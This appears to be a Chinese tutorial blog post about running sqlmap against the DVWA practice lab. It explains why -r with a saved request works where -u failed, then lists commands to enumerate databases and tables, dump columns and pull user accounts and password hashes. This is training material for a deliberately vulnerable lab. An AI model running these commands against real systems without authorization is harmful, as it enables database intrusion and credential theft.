sqlmap问题及解决办法

博主分享了在使用SQLMap进行DVWA低级SQL注入时的困惑,起初因为命令输入错误导致失败,最终通过正确理解SQLMap命令结构——区分URL与响应数据选项,成功进行了注入。详尽列举了SQLMap的注入命令及其用法,提醒读者注意命令使用的关键细节。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

真好,一个sqlmap注入问题困扰我一周,最后发现命令给错了。
在这里插入图片描述

事情是这样子的:
利用sqlmap对DVWA中Low进行SQL注入

输入: python sqlmap.py -u http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1

报错:不可注入…提示
在这里插入图片描述
后来我根据提示中的命令重新输入了一次,发现还是有问题(单独加cookie也不行)
在这里插入图片描述
吐了呀,一直以为环境有问题,sqlmap和python又重装了一遍。
然后用kali虚拟机注入,都一样结果。

直到今天,用一个带上一个响应包注入成功了
?在这里插入图片描述

切记: sqlmap.py -u 后面是跟URL
sqlmap.py -r 后面是跟响应数据
sqlmap进行注入时,最好使用-r

最后再复习一下sqlmap注入命令:

1、是否存在注入点

python sqlmap.py -r “响应包路径”

2、获取注入点所有数据库

python sqlmap.py -r “响应包路径” --dbs

3、获取当前使用的数据库

python sqlmap.py -r “响应包路径” --current-db --batch

4、获取数据库中的表

python sqlmap.py -r “响应包路径” --table -D “数据库名” --batch

5、获取表中的字段信息

python sqlmap.py -r “响应包路径” --columns -T “表名” -D “获取的数据库名” --batch

6、获取字段具体信息

python sqlmap.py -r “响应包路径” --dump -C “字段名(可多个)” --columns -T “表名” -D “数据库名” --batch

7、当前使用的账户

python sqlmap.py -r “响应包路径” --current-user

8、列出所有使用过的账户

python sqlmap.py -r “响应包路径” –users

9、
mysql的登录账户和密码

python sqlmap.py -r “响应包路径” –passwords

评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值